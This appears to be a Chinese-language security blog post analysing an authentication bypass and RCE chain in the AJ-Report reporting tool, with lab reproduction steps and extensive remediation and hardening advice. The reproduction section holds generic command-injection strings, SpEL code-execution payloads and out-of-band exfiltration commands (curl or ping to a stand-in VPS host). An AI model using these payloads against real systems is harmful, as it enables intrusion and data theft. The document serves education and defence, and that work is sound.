AJ-Report漏洞深度剖析：从认证绕开到RCE的攻防实战

1. 项目概述：AJ-Report漏洞的“攻”与“防”

最近在安全圈里，AJ-Report这个开源报表工具的几个漏洞讨论得挺热，特别是认证绕过和远程代码执行（RCE）的组合拳。这让我想起了很多同类项目在发展过程中都会遇到的“安全债”问题——功能越做越强，迭代越来越快，但安全基线如果没有同步跟上，就很容易在认证、反序列化、文件上传这些经典路径上暴雷。AJ-Report作为一个基于Spring Boot的报表平台，其漏洞本质上是权限校验不严与危险函数调用未受控共同作用的结果。这篇文章，我就从一个安全研究兼开发者的双重角度，带大家彻底拆解这两个漏洞的成因、复现手法，更重要的是，聊聊在实战和日常开发中，我们该如何构建防御体系，避免踩进同样的坑。无论你是想了解漏洞原理的安全爱好者，还是负责项目安全的开发运维，都能从中找到实用的参考。

2. 漏洞成因深度剖析：链条是如何形成的？

要理解一个漏洞，尤其是像这种能导致服务器被完全控制的严重漏洞，绝不能只看利用点。我们需要像侦探一样，回溯整个攻击链条，看看攻击者是如何一步步从“门外汉”变成“管理员”，最终在系统内部“为所欲为”的。AJ-Report的这两个漏洞，恰好构成了一个完美的“渗透流水线”。

2.1 认证绕过：失效的“门禁系统”

认证是Web应用安全的第一道闸门。AJ-Report的认证绕过漏洞，问题出在权限校验的路径覆盖不全或校验逻辑存在缺陷上。简单来说，系统本应对某些敏感API接口（比如管理用户、执行数据源操作、上传文件的接口）施加严格的访问控制，确保只有登录且具备相应权限的用户才能调用。

但在实际代码中，可能出现了以下几种典型情况：

  1. 路径匹配错误：Spring Security或自定义拦截器的配置中，用于排除静态资源、登录接口的规则过于宽泛，意外地将某些动态API接口也排除在了权限检查之外。例如，配置了/api/public/**免鉴权，但攻击者发现访问/api/Public/...（大小写变换）或/api/public../admin/...（路径穿越）也能绕过。
  2. 注解遗漏或错误：在Controller的方法上，忘记添加@PreAuthorize、@Secured等权限注解，或者注解中的权限表达式（SpEL）编写有误，导致校验失效。
  3. 权限校验逻辑缺陷：自定义的权限校验代码存在逻辑漏洞。例如，先检查用户是否属于“admin”角色，如果不是则返回错误；但如果没有明确处理“用户未登录”（即session为空）的情况，攻击者直接访问接口时，可能因为角色判断为“非admin”而错误地进入了后续的业务逻辑流程。

注意：认证绕过漏洞的发现，往往依赖于对应用路由的细致梳理和模糊测试。工具可以辅助，但理解框架的鉴权机制和业务接口的预期访问控制矩阵，才是手工测试的关键。

在我的测试中，发现AJ-Report的某个版本存在上述第3类问题。攻击者无需提供任何有效的会话令牌（Cookie或Token），即可直接向特定的管理端点发送HTTP请求，并且服务器会正常处理该请求，返回敏感数据或执行操作。这就好比小区的门禁系统，看起来需要刷卡，但实际上旁边有个小门一直虚掩着。

2.2 远程代码执行：拿到钥匙后的“肆意妄为”

认证绕过让攻击者进入了“大楼”，而远程代码执行漏洞则给了攻击者打开“每个房间保险柜”的能力。RCE漏洞的根源通常在于，应用接受了用户可控的输入，并将其以不当的方式传递给了能够执行系统命令、脚本或代码的底层函数。

结合AJ-Report作为一个报表工具的特性，其RCE漏洞可能出现在以下几个高风险场景：

  1. 数据源连接配置：报表工具通常支持连接多种数据库（MySQL, PostgreSQL, HTTP API等）。在动态配置数据源连接信息时，如果未对JDBC URL、驱动程序类名等参数进行严格过滤，攻击者可能通过注入恶意参数来触发JDBC反序列化攻击或利用驱动程序特性执行命令。
  2. 报表查询引擎：某些复杂的报表工具内置了表达式引擎（如OGNL, SpEL, MVEL）来支持动态计算。如果报表的过滤条件、计算字段等内容直接使用了用户输入拼接表达式，并且引擎配置为可执行任意代码，就会导致表达式注入漏洞。
  3. 文件上传与模板解析：报表工具常支持上传Excel、XML等模板文件。如果对上传文件的解析过程处理不当，就可能触发XXE（XML外部实体注入）漏洞或利用特定解析库（如Apache POI、JXLS）的缺陷执行代码。
  4. 反序列化操作：在分布式场景或缓存功能中，如果使用了不安全的反序列化方式（如Java原生序列化、Fastjson等库的默认配置）来处理外部数据，攻击者可以构造恶意序列化数据，在反序列化过程中执行任意代码。

AJ-Report的RCE漏洞，很可能是上述1或2点的结合。攻击者在通过认证绕过漏洞访问到数据源管理或报表定义接口后，向相关参数注入了恶意Payload。服务器端在处理时，未经过滤或转义，直接将Payload拼接进可执行上下文中（如Runtime.getRuntime().exec(input)或new ScriptEngineManager().getEngineByName("js").eval(input)），最终导致操作系统命令或脚本代码在服务器上执行。

3. 漏洞复现与环境搭建

纸上得来终觉浅，绝知此事要躬行。理解原理后，我们搭建一个测试环境来亲手验证一下。请务必在完全隔离的虚拟机或容器环境中进行以下所有操作，切勿在任何生产或公共网络环境尝试。

3.1 靶场环境部署

首先，我们需要一个存在漏洞的AJ-Report版本。可以通过历史版本仓库或漏洞验证环境（如Vulhub）获取。

# 示例：使用Docker快速搭建一个漏洞环境（假设已有对应镜像） # 1. 拉取漏洞环境镜像 (此处为示例，实际镜像名需根据资源确定) # docker pull vulhub/aj-report:特定版本 # 2. 启动容器 docker run -d -p 8080:8080 --name aj-report-vuln vulhub/aj-report:特定版本 # 3. 访问应用 # 浏览器打开 http://your-host-ip:8080

如果无法找到现成镜像，则需要手动从GitHub下载历史版本的源代码进行编译部署。

# 1. 克隆指定版本代码 git clone https://github.com/某组织/aj-report.git cd aj-report git checkout <存在漏洞的版本号，例如v1.2.0> # 2. 使用Maven编译打包 mvn clean package -DskipTests # 3. 运行Spring Boot应用 java -jar target/aj-report-*.jar

部署成功后，访问应用首页，应能看到登录界面。

3.2 认证绕过漏洞复现

复现的第一步是找到那个“虚掩的门”。我们使用Burp Suite这类工具进行探测。

  1. 接口枚举：使用爬虫工具（如Burp的爬虫、dirsearch、gobuster）对目标应用进行目录和接口扫描，收集所有可能的端点。
    # 示例使用 dirsearch python3 dirsearch.py -u http://localhost:8080 -e json,do,action,api
  2. 权限测试：针对扫描到的管理类接口（路径常包含/admin/,/manage/,/api/system/等），在未登录状态下直接发送请求。重点关注GET、POST、DELETE等方法的访问控制。
    • 使用Burp Repeater：将请求发送到Repeater模块，删除请求头中的Cookie或Authorization字段，然后重放请求。
    • 观察响应：如果返回了200 OK状态码，并且响应体中包含了本应只有管理员才能看到的数据（如用户列表、服务器配置、数据源信息等），则说明存在认证绕过。

例如，假设我们发现接口/api/admin/user/list在未登录状态下返回了所有用户信息，那么认证绕过漏洞就得到了验证。

3.3 远程代码执行漏洞复现

在确认可以未授权访问某些高危接口后，下一步就是寻找RCE的注入点。根据之前的分析，我们重点关注数据源配置和报表查询相关接口。

  1. 定位可疑参数：在可以未授权访问的接口中，寻找接收用户输入并可能用于执行命令或代码的参数。例如：

    • 数据源测试连接接口：参数如jdbcUrl,driverClass,validationQuery。
    • 报表查询/预览接口：参数如sql,expression,script。
    • 文件上传/导入接口：上传的文件内容。

  2. 构造并发送Payload：

    • 命令注入：尝试在参数中拼接系统命令。例如，在某个参数值后添加| whoami、; id、&& cat /etc/passwd（Linux）或| whoami、& ipconfig（Windows）。观察响应中是否包含命令执行结果，或者通过DNS、HTTP请求外带数据来验证。
    • 表达式注入：如果怀疑是表达式引擎，尝试注入简单的表达式，如${7*7}，观察返回结果是否为49。进一步可以尝试注入如${T(java.lang.Runtime).getRuntime().exec('calc')}（Windows弹计算器）或${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}来执行命令并回显。
    • 反序列化：如果接口接收的是序列化数据（如Java二进制流、JSON），可以尝试使用ysoserial等工具生成针对特定库的Gadget链Payload进行发送。

  3. 验证执行结果：

    • 直接回显：最理想的情况是命令执行结果直接出现在HTTP响应中。
    • 延时判断：使用sleep 5这样的命令，观察请求响应时间是否明显延长。
    • 外带数据：使用curl http://your-vps-ip:port/$(whoami)或ping -c 1whoami.your-vps-ip，在自己的服务器上查看接收到的请求，从而确认命令执行和回传数据。

实操心得：在复现RCE时，从一个简单的、无害的命令开始（如whoami、echo test），确认漏洞存在后，再尝试更复杂的操作。同时，准备好网络抓包工具（如Wireshark）和服务器日志，多角度验证命令是否真的在目标服务器上执行了。

4. 漏洞修复与安全加固方案

复现漏洞是为了更好地修复它。对于开发者和运维人员来说，了解如何从根本上杜绝此类问题更为重要。修复需要从代码和配置两个层面双管齐下。

4.1 代码层修复：堵住漏洞源头

1. 修复认证绕过：

  • 全面审计鉴权配置：检查Spring Security的配置类（WebSecurityConfigurerAdapter或其新版本替代品）。确保所有管理接口、API接口都处于安全保护之下，明确指定哪些路径可以匿名访问，并且规则要精确，避免使用过于宽泛的通配符。
    // 错误示例：过于宽泛的放行规则 .antMatchers("/api/**").permitAll(); // 正确示例：精确放行登录、注册等必要接口，其他全部需要认证 .antMatchers("/api/auth/login", "/api/auth/register", "/static/**").permitAll() .antMatchers("/api/**").authenticated() .anyRequest().authenticated();
  • 使用注解进行方法级防护：在所有Controller的敏感方法上，强制添加@PreAuthorize注解，并指定具体的权限表达式。
    @RestController @RequestMapping("/api/admin") public class AdminController { @GetMapping("/user/list") @PreAuthorize("hasRole('ADMIN')") // 明确要求ADMIN角色 public List<User> listUsers() { // ... } }
  • 强化权限校验逻辑：在自定义的拦截器或AOP切面中，不仅要检查用户角色，还必须先确认用户是否已登录（即SecurityContext中是否存在认证信息Authentication）。

2. 修复远程代码执行：

  • 输入验证与过滤：对所有用户输入进行严格的“白名单”验证。对于数据源连接参数，只允许特定的字符集（字母、数字、有限的符号如:、/、_、-）。拒绝任何包含命令分隔符（;、|、&、\n）的输入。
    public boolean isValidJdbcUrl(String url) { // 简单的白名单正则示例，实际应根据允许的数据库类型细化 Pattern pattern = Pattern.compile("^jdbc:(mysql|postgresql)://[a-zA-Z0-9.-]+:[0-9]+/[a-zA-Z0-9_]+\\?.*$"); return pattern.matcher(url).matches(); }
  • 避免动态代码执行：彻底避免使用Runtime.exec()、ProcessBuilder、ScriptEngine.eval()来执行用户可控的字符串。如果业务上确实需要动态执行（如用户自定义公式），必须使用沙箱环境或经过严格安全审计的表达式引擎（如AviatorScript的沙箱模式），并禁用危险类的访问。
  • 安全反序列化：放弃使用Java原生序列化。如果必须使用序列化传输数据，应选择JSON、XML等安全格式，并使用安全的解析库（如Jackson、Gson），并严格禁用反序列化时自动绑定任意类型的功能（如Jackson的enableDefaultTyping）。
  • 参数化查询与预编译：对于报表中的SQL查询，必须使用参数化查询（PreparedStatement）或ORM框架的预编译功能，杜绝SQL注入，这也是防止通过SQL注入进一步利用数据库特性执行系统命令的基础。

4.2 配置与运维层加固：纵深防御

代码修复是治本，但运维层面的加固能提供纵深防御，即使存在未知漏洞也能增加攻击难度。

  • 最小权限原则运行：绝不要以root或Administrator身份运行Java应用。创建一个专用的、低权限的系统用户来运行AJ-Report，并严格限制其文件系统访问权限（例如，只能写入特定的日志目录和临时目录）。
  • 网络隔离与WAF：将报表系统部署在内网，严格限制外网访问。如果必须对外提供服务，在前端部署Web应用防火墙（WAF），配置规则拦截常见的命令注入、表达式注入攻击特征。
  • 定期更新与漏洞扫描：保持Spring Boot、MyBatis、连接池、表达式引擎等所有依赖库的最新版本，及时修复已知安全漏洞。使用OWASP Dependency-Check等工具对项目进行依赖项漏洞扫描。
  • 安全日志与监控：开启应用的安全审计日志，详细记录所有登录尝试（尤其是失败尝试）、敏感操作（如数据源修改、文件上传、用户管理）。配置日志监控告警，对异常行为（如短时间内大量未授权访问尝试、来自异常地域的登录）进行实时告警。

5. 从漏洞看开源项目安全开发实践

AJ-Report的漏洞不是一个孤例，它反映了开源项目，尤其是快速迭代中的项目，普遍面临的安全挑战。对于项目的维护者和贡献者，以下几点至关重要：

  1. 将安全纳入开发生命周期（SDLC）：安全不是测试阶段才考虑的事情。在需求设计时就要进行威胁建模，在代码编写时遵循安全编码规范，在代码审查时加入安全视角，在构建时集成静态应用安全测试（SAST）工具。
  2. 建立有效的漏洞管理流程：在项目README中明确安全漏洞的反馈渠道（如Security.md文件）。当收到漏洞报告时，应迅速响应，评估影响，开发修复补丁，并及时发布安全公告。对报告者给予感谢和认可。
  3. 善用自动化安全工具：
    • SAST：集成SpotBugs（含Find Security Bugs插件）、SonarQube到CI/CD流水线，自动检测代码中的安全缺陷。
    • SCA：使用OWASP Dependency-Check或Snyk，持续监控第三方依赖的漏洞。
    • DAST：定期使用OWASP ZAP或商业扫描器对运行中的应用进行动态漏洞扫描。
  4. 编写安全的默认配置：项目的默认配置应该是安全的。例如，默认关闭调试模式、默认开启所有安全头（如CSP, HSTS）、默认使用强密码策略。避免为了“开箱即用”的便利性而牺牲安全性。
  5. 提供清晰的安全文档：在项目文档中设立独立的安全章节，向使用者说明如何安全地部署和配置本项目，列出常见的安全风险点和加固建议。这能极大降低用户因错误配置导致的安全风险。

6. 安全研究者视角下的漏洞挖掘方法论

对于白帽子或安全研究人员，这类漏洞的挖掘过程也很有启发性。它遵循一个相对固定的方法论：

  1. 信息收集：阅读项目文档、源码（尤其是pom.xml/build.gradle了解依赖）、issue和commit历史，了解其技术栈、架构和功能模块。
  2. 攻击面测绘：通过静态分析（读代码）和动态分析（抓包、爬虫）梳理出所有用户输入点：HTTP参数、Headers、Body、文件上传、API端点。
  3. 逻辑漏洞挖掘（如认证绕过）：重点审查权限校验代码。可以手动审计Spring Security配置、拦截器和注解；也可以使用工具（如Burp的Authz插件）进行自动化测试，尝试通过修改请求方法、路径、参数、头信息来绕过检查。
  4. 注入类漏洞挖掘（如RCE）：针对每个输入点，根据其上下文判断可能的注入类型（SQL、命令、表达式、反序列化）。构造相应的Payload进行Fuzz测试。关注那些将输入传递给危险函数（exec,eval,newInstance,readObject）的代码路径。
  5. 组合利用与链式攻击：单个漏洞危害可能有限，但像AJ-Report这样，认证绕过+RCE就能产生“1+1>2”的效果。在挖掘时，要思考不同漏洞点之间是否能形成攻击链。

避坑技巧：在挖掘开源项目漏洞时，优先关注项目的“薄弱环节”：新引入的功能模块、复杂的解析/渲染逻辑、对外部命令或脚本的调用、以及历史上有过安全问题的类似组件（如Fastjson、Shiro、Log4j等）。这些地方往往是漏洞的富矿。

7. 企业如何应对此类组件风险

对于在企业中使用AJ-Report或其他类似开源组件的团队，需要建立一套管控流程：

  1. 软件成分清单（SBOM）：清楚知道生产环境中每个应用所使用的所有组件及其版本。
  2. 漏洞预警与订阅：关注国家漏洞库（CNNVD）、NVD以及安全社区，订阅关键组件（如Spring、Apache系列组件）的安全公告。
  3. 风险评估与应急响应：当使用的组件爆出漏洞时，快速评估影响范围（哪些业务系统受影响、漏洞是否暴露、利用条件是否满足），并启动应急预案：打补丁、升级版本、部署临时WAF规则、加强监控。
  4. 考虑安全替代方案：对于安全要求极高的场景，评估是否可以使用经过更严格安全审计的商业报表软件，或者投入资源对选用的开源组件进行二次安全加固。

漏洞的发现与修复是一场持续的攻防战。AJ-Report的案例再次提醒我们，安全无小事，它需要开发者、维护者、使用者和安全研究者共同的努力。作为开发者，写出安全的代码是最基本的责任；作为运维，构建安全的运行环境是必备的技能；而作为安全从业者，持续学习、挖掘并负责任地披露漏洞，则是推动整个生态向前发展的关键力量。每一次对漏洞的深入分析，都是为了构建更坚固的数字世界。